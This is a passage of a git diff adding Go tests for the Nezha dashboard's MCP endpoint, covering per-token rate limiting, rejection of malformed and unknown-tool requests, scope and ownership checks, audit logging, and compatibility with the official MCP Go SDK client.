if allowed != 120 { + t.Fatalf("allowed count = %d, want 120", allowed) + } +} + +func TestMCPRateLimiter_independentTokensKeepIndependentBudgets(t *testing.T) { + // Given + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(1, 120, clock.Now) + + // When + firstTokenAllowed := limiter.Allow(7) + firstTokenRejected := limiter.Allow(7) + secondTokenAllowed := limiter.Allow(8) + + // Then + if !firstTokenAllowed || firstTokenRejected || !secondTokenAllowed { + t.Fatalf("token budgets are not independent: first allowed=%t rejected=%t second allowed=%t", firstTokenAllowed, firstTokenRejected, secondTokenAllowed) + } +} + +func TestMCPRateLimiter_clockControlledCallsDoNotMutateSharedLimiter(t *testing.T) { + // Given + originalLimiter := mcpRateLimiterShared + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(1, 1, clock.Now) + + // When + if !limiter.Allow(7) { + t.Fatal("isolated limiter request must be allowed") + } + + // Then + if mcpRateLimiterShared != originalLimiter { + t.Fatal("isolated limiter changed shared production limiter ownership") + } +} + +func TestMCPRateLimiter_concurrentCallsAtSecondBoundaryAllowExactlyLimit(t *testing.T) { + // Given + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(10, 120, clock.Now) + var allowed atomic.Int32 + var waitGroup sync.WaitGroup + + // When + for requestNumber := 0; requestNumber < 20; requestNumber++ { + waitGroup.Add(1) + go func() { + defer waitGroup.Done() + if limiter.Allow(7) { + allowed.Add(1) + } + }() + } + waitGroup.Wait() + + // Then + if got := allowed.Load(); got != 10 { + t.Fatalf("concurrent allowed count = %d, want 10", got) + } +} + +func TestMCPRateLimiter_minuteBucketRolloverRestoresBudget(t *testing.T) { + // Given + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(10_000, 1, clock.Now) + if !limiter.Allow(7) { + t.Fatal("first request must be allowed") + } + if limiter.Allow(7) { + t.Fatal("second request must be rejected before minute rollover") + } + + // When + clock.Advance(time.Minute) + + // Then + if !limiter.Allow(7) { + t.Fatal("request after minute rollover must be allowed") + } +} + +func TestMCPRateLimiter_samplesClockWhileHoldingStateLock(t *testing.T) { + // Given + now := time.Unix(1_700_000_000, 0) + var limiter *MCPRateLimiter + clock := func() time.Time { + if limiter.mu.TryLock() { + limiter.mu.Unlock() + t.Fatal("clock callback acquired limiter state lock; Allow sampled before locking") + } + return now + } + limiter = newMCPRateLimiterWithClock(1, 1, clock) + + // When + allowed := limiter.Allow(7) + + // Then + if !allowed { + t.Fatal("initial request must be allowed") + } +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_bypass_test.go b/cmd/dashboard/controller/mcp_ratelimit_bypass_test.go new file mode 100644 index 00000000..f2ff5816 --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_bypass_test.go @@ -0,0 +1,86 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func mcpEndpointTestCtx(t *testing.T, tok *model.APIToken, body any) (*gin.Context, *httptest.ResponseRecorder, error) { + t.Helper() + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, engine := gin.CreateTestContext(w) + require.NotNil(t, engine) + raw, err := json.Marshal(body) + if err != nil { + return nil, nil, err + } + c.Request = httptest.NewRequest("POST", "/mcp", bytes.NewReader(raw)) + c.Request.Header.Set("Content-Type", "application/json") + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + return c, w, nil +} + +func TestMCPEndpointTestCtx_surfacesJSONMarshalError(t *testing.T) { + // Given + tok := &model.APIToken{ID: 4242, UserID: 1} + unsupportedBody := map[string]any{"unsupported": func() {}} + + // When + _, _, err := mcpEndpointTestCtx(t, tok, unsupportedBody) + + // Then + require.Error(t, err) +} + +// An unknown tool name in tools/call must still consume the per-token rate +// budget; otherwise a valid PAT can flood /mcp with does-not-exist tools and +// bypass the limiter entirely. +func TestMCPUnknownToolCountsAgainstRateLimit(t *testing.T) { + originalConf := singleton.Conf + originalLimiter := mcpRateLimiterShared + t.Cleanup(func() { + singleton.Conf = originalConf + mcpRateLimiterShared = originalLimiter + }) + + cfg := &model.Config{} + cfg.SetMCPEnabled(true) + singleton.Conf = &singleton.ConfigClass{Config: cfg} + + mcpRateLimiterShared = newMCPRateLimiter(2, 2) + + tok := &model.APIToken{ID: 4242, UserID: 1} + + body := map[string]any{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/call", + "params": map[string]any{"name": "does.not.exist", "arguments": map[string]any{}}, + } + + var lastStatus int + for i := 0; i < 5; i++ { + c, w, err := mcpEndpointTestCtx(t, tok, body) + require.NoError(t, err) + mcpEndpoint(c) + lastStatus = w.Code + } + + if !mcpRateLimiterSaturated(tok.ID) { + t.Fatalf("after 5 unknown-tool calls with a budget of 2, the limiter must be saturated (last status %d)", lastStatus) + } +} + +func mcpRateLimiterSaturated(tokenID uint64) bool { + return !mcpRateLimiterShared.Allow(tokenID) +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_clock_test.go b/cmd/dashboard/controller/mcp_ratelimit_clock_test.go new file mode 100644 index 00000000..ca664bb3 --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_clock_test.go @@ -0,0 +1,45 @@ +package controller + +import ( + "sync" + "testing" + "time" +) + +type linearizationClock struct { + mu sync.Mutex + times []time.Time + latest time.Time +} + +func newLinearizationClock(oldTime, newTime time.Time) *linearizationClock { + return &linearizationClock{ + times: []time.Time{oldTime, oldTime, newTime}, + latest: newTime, + } +} + +func (clock *linearizationClock) Now() time.Time { + clock.mu.Lock() + now := clock.latest + if len(clock.times) > 0 { + now = clock.times[0] + clock.times = clock.times[1:] + } + clock.mu.Unlock() + return now +} + +func TestLinearizationClockReturnsLatestTimeAfterSequenceIsConsumed(t *testing.T) { + oldTime := time.Unix(1_700_000_000, 0) + newTime := oldTime.Add(time.Second) + clock := newLinearizationClock(oldTime, newTime) + + for range 3 { + clock.Now() + } + + if got := clock.Now(); !got.Equal(newTime) { + t.Fatalf("clock returned %s after sequence was consumed, want %s", got, newTime) + } +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_defaults_test.go b/cmd/dashboard/controller/mcp_ratelimit_defaults_test.go new file mode 100644 index 00000000..30350acf --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_defaults_test.go @@ -0,0 +1,18 @@ +package controller + +import "testing" + +// TestMCPRateLimiter_DefaultsAreDoubledFromInitialBaseline pins the +// production-side per-token budget. The first iteration shipped 5/s + 60/min, +// which gated legitimate LLM bursts more aggressively than the audit / +// concurrency story required. Doubling to 10/s + 120/min keeps the bucket +// shape (same window, same per-token bookkeeping) so observed behavior +// regressions stay attributable to budget rather than algorithm changes. +func TestMCPRateLimiter_DefaultsAreDoubledFromInitialBaseline(t *testing.T) { + if mcpRateLimiterShared.secLimit != 10 { + t.Fatalf("default per-second limit = %d, want 10", mcpRateLimiterShared.secLimit) + } + if mcpRateLimiterShared.minLimit != 120 { + t.Fatalf("default per-minute limit = %d, want 120", mcpRateLimiterShared.minLimit) + } +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_malformed_test.go b/cmd/dashboard/controller/mcp_ratelimit_malformed_test.go new file mode 100644 index 00000000..8972a3d4 --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_malformed_test.go @@ -0,0 +1,78 @@ +package controller + +import ( + "bytes" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func mcpEndpointRawCtx(t *testing.T, tok *model.APIToken, raw []byte) (*gin.Context, *httptest.ResponseRecorder) { + t.Helper() + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, engine := gin.CreateTestContext(w) + require.NotNil(t, engine) + c.Request = httptest.NewRequest("POST", "/mcp", bytes.NewReader(raw)) + c.Request.Header.Set("Content-Type", "application/json") + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + return c, w +} + +func mcpRateLimitTestSetup(t *testing.T, budget int) *model.APIToken { + t.Helper() + originalConf := singleton.Conf + originalLimiter := mcpRateLimiterShared + t.Cleanup(func() { + singleton.Conf = originalConf + mcpRateLimiterShared = originalLimiter + }) + cfg := &model.Config{} + cfg.SetMCPEnabled(true) + singleton.Conf = &singleton.ConfigClass{Config: cfg} + mcpRateLimiterShared = newMCPRateLimiter(budget, budget) + return &model.APIToken{ID: 4243, UserID: 1} +} + +// A flood of tools/call requests whose params fail to parse must still consume +// the per-token budget. Otherwise a valid PAT bypasses the limiter by always +// sending malformed arguments. +func TestMCPMalformedToolsCallParamsCountsAgainstRateLimit(t *testing.T) { + tok := mcpRateLimitTestSetup(t, 2) + + raw := []byte(`{"jsonrpc":"2.0","id":1,"method":"tools/call","params":"not-an-object"}`) + + for i := 0; i < 5; i++ { + c, w := mcpEndpointRawCtx(t, tok, raw) + mcpEndpoint(c) + require.NotEmpty(t, w.Body.Bytes()) + } + + if mcpRateLimiterShared.Allow(tok.ID) { + t.Fatal("malformed tools/call params must still consume the rate budget; limiter not saturated") + } +} + +// A flood of unparseable JSON-RPC envelopes from an authenticated PAT must also +// consume the budget. +func TestMCPMalformedEnvelopeCountsAgainstRateLimit(t *testing.T) { + tok := mcpRateLimitTestSetup(t, 2) + + raw := []byte(`{not valid json`) + + for i := 0; i < 5; i++ { + c, w := mcpEndpointRawCtx(t, tok, raw) + mcpEndpoint(c) + require.NotEmpty(t, w.Body.Bytes()) + } + + if mcpRateLimiterShared.Allow(tok.ID) { + t.Fatal("malformed JSON-RPC envelope must still consume the rate budget; limiter not saturated") + } +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_prune_test.go b/cmd/dashboard/controller/mcp_ratelimit_prune_test.go new file mode 100644 index 00000000..3d29691d --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_prune_test.go @@ -0,0 +1,62 @@ +package controller + +import ( + "testing" + "time" +) + +// The per-token limiter map had no eviction: every distinct token ID ever +// seen left a permanent entry. A user churning PATs (create/use/delete in a +// loop) grows the map without bound. Allow must opportunistically prune +// windows idle past the minute bucket so memory stays proportional to the +// active token set, not the historical one. +func TestMCPRateLimiter_PrunesStaleTokenWindows(t *testing.T) { + rl := newMCPRateLimiter(10, 120) + + stale := time.Now().Add(-10 * time.Minute) + for i := uint64(1); i <= 500; i++ { + rl.mu.Lock() + rl.perToken[i] = &tokenWindow{ + secBucketStart: stale, + minBucketStart: stale, + } + rl.mu.Unlock() + } + + // A fresh request triggers a prune sweep of idle windows. + if !rl.Allow(99999) { + t.Fatal("fresh token must be allowed") + } + + rl.mu.Lock() + size := len(rl.perToken) + rl.mu.Unlock() + + // Only the just-active token (99999) should remain; the 500 stale ones + // must have been evicted. + if size > 1 { + t.Fatalf("stale token windows were not pruned: map still holds %d entries", size) + } +} + +// Pruning must NOT evict tokens that are still within their active window, +// otherwise an in-flight client loses its accumulated count and effectively +// resets its budget. +func TestMCPRateLimiter_KeepsActiveTokenWindows(t *testing.T) { + rl := newMCPRateLimiter(10, 120) + + if !rl.Allow(1) { + t.Fatal("token 1 must be allowed") + } + if !rl.Allow(2) { + t.Fatal("token 2 must be allowed") + } + + rl.mu.Lock() + size := len(rl.perToken) + rl.mu.Unlock() + + if size != 2 { + t.Fatalf("active token windows must be retained, got %d entries", size) + } +} diff --git a/cmd/dashboard/controller/mcp_result_encoding.go b/cmd/dashboard/controller/mcp_result_encoding.go new file mode 100644 index 00000000..55e72df8 --- /dev/null +++ b/cmd/dashboard/controller/mcp_result_encoding.go @@ -0,0 +1,14 @@ +package controller + +import "encoding/json" + +func marshalMCPToolResult(result any) (string, error) { + if result == nil { + return "{}", nil + } + b, err := json.Marshal(result) + if err != nil { + return "", err + } + return string(b), nil +} diff --git a/cmd/dashboard/controller/mcp_result_encoding_test.go b/cmd/dashboard/controller/mcp_result_encoding_test.go new file mode 100644 index 00000000..e43b5f65 --- /dev/null +++ b/cmd/dashboard/controller/mcp_result_encoding_test.go @@ -0,0 +1,47 @@ +package controller + +import ( + "encoding/json" + "strings" + "sync" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +var registerUnmarshalableMCPTool sync.Once + +func TestMCPToolCall_unmarshalableSuccessResultReturnsExplicitToolError(t *testing.T) { + // Given + cleanup, uid := setupMCPTest(t) + defer cleanup() + registerUnmarshalableMCPTool.Do(func() { + registerMCPTool(&mcpTool{ + Name: "test.unmarshalable-success", + RequiredScope: "", + Handler: func(*gin.Context, json.RawMessage) (any, error) { + return map[string]any{"unsupported": func() {}}, nil + }, + }) + }) + tok, plainToken := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + require.NotEmpty(t, plainToken) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "test.unmarshalable-success", Arguments: json.RawMessage("{}")}), + }) + + // When + mcpEndpoint(c) + + // Then + _, result := decodeRPC(w) + require.NotNil(t, result) + require.True(t, result.IsError) + require.Nil(t, result.StructuredContent) + require.Len(t, result.Content, 1) + require.True(t, strings.Contains(result.Content[0].Text, "encode"), result.Content[0].Text) +} diff --git a/cmd/dashboard/controller/mcp_sdk_compat_test.go b/cmd/dashboard/controller/mcp_sdk_compat_test.go new file mode 100644 index 00000000..d1f3749d --- /dev/null +++ b/cmd/dashboard/controller/mcp_sdk_compat_test.go @@ -0,0 +1,197 @@ +package controller + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/modelcontextprotocol/go-sdk/mcp" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// MCP 协议兼容性集成测试：用 modelcontextprotocol/go-sdk 官方 Go MCP client +// 对 dashboard /mcp 跑完整 initialize + tools/list + tools/call。 +// 协议层用官方 SDK 严格编解码 — 任何与 MCP spec 的偏差都会被立即报错。 + +type sdkPATRoundTripper struct { + base http.RoundTripper + token string +} + +func (rt *sdkPATRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { + req.Header.Set("Authorization", "Bearer "+rt.token) + return rt.base.RoundTrip(req) +} + +func sdkTransport(endpoint, token string) *mcp.StreamableClientTransport { + return &mcp.StreamableClientTransport{ + Endpoint: endpoint, + HTTPClient: &http.Client{ + Transport: &sdkPATRoundTripper{base: http.DefaultTransport, token: token}, + Timeout: 5 * time.Second, + }, + // /mcp 当前只实现 POST 半边 Streamable HTTP；GET SSE 通道未实现也不计划 + // 短期内上线（不需要 server→client 主动推送）。SDK 默认会试图发 GET， + // 关掉 standalone SSE 即可严格互通。 + DisableStandaloneSSE: true, + } +} + +func setupSDKCompat(t *testing.T) (string, string, func()) { + t.Helper() + cleanupBase, uid := setupMCPTest(t) + + srv, _ := singleton.ServerShared.Get(7) + srv.SetTaskStream(&e2eStream{dispatch: agentSim}) + + _, plain := mkToken(t, uid, []string{ + model.ScopeInventoryRead, + model.ScopeInventoryDelete, + model.ScopeServerRead, + model.ScopeServerWrite, + model.ScopeServerDelete, + model.ScopeServerExec, + }, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.POST("/mcp", apiTokenAuthMiddleware(), mcpEndpoint) + ts := httptest.NewServer(r) + return ts.URL + "/mcp", plain, func() { + ts.Close() + cleanupBase() + } +} + +func TestSDKClient_InitializeHandshake(t *testing.T) { + endpoint, token, cleanup := setupSDKCompat(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + client := mcp.NewClient(&mcp.Implementation{Name: "nezha-it", Version: "v0"}, nil) + session, err := client.Connect(ctx, sdkTransport(endpoint, token), nil) + require.NoError(t, err, "official Go SDK must initialize against /mcp") + defer session.Close() +} + +func TestSDKClient_ToolsList(t *testing.T) { + endpoint, token, cleanup := setupSDKCompat(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + client := mcp.NewClient(&mcp.Implementation{Name: "nezha-it", Version: "v0"}, nil) + session, err := client.Connect(ctx, sdkTransport(endpoint, token), nil) + require.NoError(t, err) + defer session.Close() + + lst, err := session.ListTools(ctx, nil) + require.NoError(t, err) + names := make(map[string]bool, len(lst.Tools)) + for _, tl := range lst.Tools { + names[tl.Name] = true + } + for _, must := range []string{ + "meta.whoami", + "server.list", "server.get", "server.exec", + "fs.list", "fs.read", "fs.write", "fs.delete", + "fs.download_url", "fs.upload_url", + } { + require.Truef(t, names[must], "tools/list missing %q", must) + } +} + +func TestSDKClient_Whoami(t *testing.T) { + endpoint, token, cleanup := setupSDKCompat(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + client := mcp.NewClient(&mcp.Implementation{Name: "nezha-it", Version: "v0"}, nil) + session, err := client.Connect(ctx, sdkTransport(endpoint, token), nil) + require.NoError(t, err) + defer session.Close() + + res, err := session.CallTool(ctx, &mcp.CallToolParams{ + Name: "meta.whoami", + Arguments: map[string]any{}, + }) + require.NoError(t, err) + require.False(t, res.IsError) + tc, ok := res.Content[0].(*mcp.TextContent) + require.True(t, ok) + var payload map[string]any + require.NoError(t, json.Unmarshal([]byte(tc.Text), &payload)) + require.NotZero(t, payload["user_id"]) + require.NotEmpty(t, payload["scopes"]) +} + +func TestSDKClient_ServerExec(t *testing.T) { + endpoint, token, cleanup := setupSDKCompat(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + client := mcp.NewClient(&mcp.Implementation{Name: "nezha-it", Version: "v0"}, nil) + session, err := client.Connect(ctx, sdkTransport(endpoint, token), nil) + require.NoError(t, err) + defer session.Close() + + res, err := session.CallTool(ctx, &mcp.CallToolParams{ + Name: "server.exec", + Arguments: map[string]any{ + "server_id": 7, + "cmd": "echo", + }, + }) + require.NoError(t, err) + require.False(t, res.IsError, "exec failed: %v", res.Content) + tc := res.Content[0].(*mcp.TextContent) + require.Contains(t, tc.Text, "simulated") +} + +func TestSDKClient_FSLifecycle(t *testing.T) { + endpoint, token, cleanup := setupSDKCompat(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + client := mcp.NewClient(&mcp.Implementation{Name: "nezha-it", Version: "v0"}, nil) + session, err := client.Connect(ctx, sdkTransport(endpoint, token), nil) + require.NoError(t, err) + defer session.Close() + + path := t.TempDir() + "/sdk.txt" + for _, step := range []struct { + name string + args map[string]any + }{ + {"fs.write", map[string]any{"server_id": 7, "path": path, "content": "via-sdk", "encoding": "utf8"}}, + {"fs.read", map[string]any{"server_id": 7, "path": path}}, + {"fs.delete", map[string]any{"server_id": 7, "path": path}}, + } { + res, err := session.CallTool(ctx, &mcp.CallToolParams{Name: step.name, Arguments: step.args}) + require.NoError(t, err, step.name) + require.False(t, res.IsError, "%s failed: %v", step.name, res.Content) + } +} + +func TestSDKClient_BadPAT(t *testing.T) { + endpoint, _, cleanup := setupSDKCompat(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + client := mcp.NewClient(&mcp.Implementation{Name: "nezha-it", Version: "v0"}, nil) + _, err := client.Connect(ctx, sdkTransport(endpoint, "nzp_invalid"), nil) + require.Error(t, err) +} diff --git a/cmd/dashboard/controller/mcp_test.go b/cmd/dashboard/controller/mcp_test.go new file mode 100644 index 00000000..1b78f0d9 --- /dev/null +++ b/cmd/dashboard/controller/mcp_test.go @@ -0,0 +1,306 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupMCPTest(t *testing.T) (func(), uint64) { + t.Helper() + originalDB := singleton.DB + originalServer := singleton.ServerShared + originalConf := singleton.Conf + originalAuditSync := mcpAuditSync + originalLimiter := mcpRateLimiterShared + originalLocalizer := singleton.Localizer + originalPATRegistry := patConnectionRegistryShared + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + mcpAuditSync = true + mcpRateLimiterShared = newMCPRateLimiter(1000, 10000) + // Fresh per test: the DB resets token IDs to 1 each run, so a stale + // revoke tombstone from a prior test would otherwise cancel a reused id. + patConnectionRegistryShared = newPATConnectionRegistry() + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.User{}, &model.APIToken{}, &model.MCPAuditLog{}, &model.Server{}, &model.WAF{})) + singleton.DB = db + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{JWTTimeout: 1}} + singleton.Conf.SetMCPEnabled(true) + + user := model.User{Common: model.Common{ID: 100}, Username: "alice", Role: model.RoleMember} + require.NoError(t, db.Create(&user).Error) + + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = 7 + srv.Name = "alpha" + srv.SetUserID(100) + sc.InsertForTest(srv) + singleton.ServerShared = sc + + cleanup := func() { + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.ServerShared = originalServer + singleton.Conf = originalConf + singleton.Localizer = originalLocalizer + mcpAuditSync = originalAuditSync + mcpRateLimiterShared = originalLimiter + patConnectionRegistryShared = originalPATRegistry + } + return cleanup, user.ID +} + +func mkToken(t *testing.T, uid uint64, scopes []string, serverIDs []uint64) (*model.APIToken, string) { + t.Helper() + plain := "nzp_" + strings.Repeat("a", 32) + "_" + ctoa(uid) + tok := model.APIToken{UserID: uid, Name: "t", TokenHash: model.HashAPIToken(plain)} + tok.SetScopes(scopes) + if len(serverIDs) > 0 { + tok.SetServerIDs(serverIDs) + } + require.NoError(t, singleton.DB.Create(&tok).Error) + return &tok, plain +} + +func mcpCallCtx(t *testing.T, tok *model.APIToken, uid uint64, body any) (*gin.Context, *httptest.ResponseRecorder) { + t.Helper() + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + b, _ := json.Marshal(body) + c.Request = httptest.NewRequest("POST", "/mcp", bytes.NewReader(b)) + c.Request.Header.Set("Content-Type", "application/json") + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: uid}, Role: model.RoleMember}) + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + return c, w +} + +func decodeRPC(w *httptest.ResponseRecorder) (jsonRPCResponse, *mcpToolCallResult) { + var env jsonRPCResponse + _ = json.Unmarshal(w.Body.Bytes(), &env) + if env.Result == nil { + return env, nil + } + rb, _ := json.Marshal(env.Result) + var tcr mcpToolCallResult + _ = json.Unmarshal(rb, &tcr) + return env, &tcr +} + +func TestMCP_RejectsMissingToken(t *testing.T) { + cleanup, _ := setupMCPTest(t) + defer cleanup() + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + body, _ := json.Marshal(jsonRPCRequest{JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "initialize"}) + c.Request = httptest.NewRequest("POST", "/mcp", bytes.NewReader(body)) + c.Request.Header.Set("Content-Type", "application/json") + mcpEndpoint(c) + var env jsonRPCResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &env)) + require.NotNil(t, env.Error) + require.Equal(t, rpcErrUnauthorized, env.Error.Code) +} + +func TestMCP_Initialize_ReturnsServerInfo(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "initialize"}) + mcpEndpoint(c) + env, _ := decodeRPC(w) + require.Nil(t, env.Error) + rb, _ := json.Marshal(env.Result) + require.Contains(t, string(rb), "nezha-mcp") + require.Contains(t, string(rb), "protocolVersion") +} + +func TestMCP_ToolsList_IncludesRegisteredTools(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/list"}) + mcpEndpoint(c) + env, _ := decodeRPC(w) + require.Nil(t, env.Error) + rb, _ := json.Marshal(env.Result) + for _, name := range []string{"meta.whoami", "server.list", "server.exec", "fs.list", "fs.read", "fs.write", "fs.delete", "fs.download_url", "fs.upload_url"} { + require.Contains(t, string(rb), name) + } +} + +func TestMCP_Whoami_HappyPath(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead, model.ScopeServerRead}, []uint64{7, 8}) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "meta.whoami", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.False(t, tcr.IsError, "got error content: %v", tcr.Content) + scb, _ := json.Marshal(tcr.StructuredContent) + require.Contains(t, string(scb), "user_id") + require.Contains(t, string(scb), "scopes") +} + +func TestMCP_ScopeDenied(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "server.exec", Arguments: jsonRaw(map[string]any{"server_id": 7, "cmd": "echo"})}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "missing required scope") +} + +func TestMCP_PermissionDenied_WhenWrongUserOwnsServer(t *testing.T) { + cleanup, _ := setupMCPTest(t) + defer cleanup() + require.NoError(t, singleton.DB.Create(&model.User{Common: model.Common{ID: 200}, Username: "bob", Role: model.RoleMember}).Error) + tok, _ := mkToken(t, 200, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, 200, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "fs.list", Arguments: jsonRaw(map[string]any{"server_id": 7, "path": "/tmp"})}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCP_ServerWhitelist_DenyOutsideList(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, []uint64{99}) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "fs.list", Arguments: jsonRaw(map[string]any{"server_id": 7, "path": "/tmp"})}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError) +} + +func TestMCP_UnknownTool(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "does.not.exist", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + env, _ := decodeRPC(w) + require.NotNil(t, env.Error) + require.Equal(t, rpcErrMethodNotFound, env.Error.Code) +} + +func TestMCP_InvalidJSONEnvelope(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/mcp", bytes.NewReader([]byte("garbage"))) + c.Request.Header.Set("Content-Type", "application/json") + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: uid}, Role: model.RoleMember}) + c.Set(apiTokenCtxKey, tok) + mcpEndpoint(c) + var env jsonRPCResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &env)) + require.NotNil(t, env.Error) + require.Equal(t, rpcErrParse, env.Error.Code) +} + +func TestMCP_AuditRowIsWritten(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, _ := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "meta.whoami", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + + require.Eventually(t, func() bool { + var cnt int64 + _ = singleton.DB.Model(&model.MCPAuditLog{}).Where("token_id = ?", 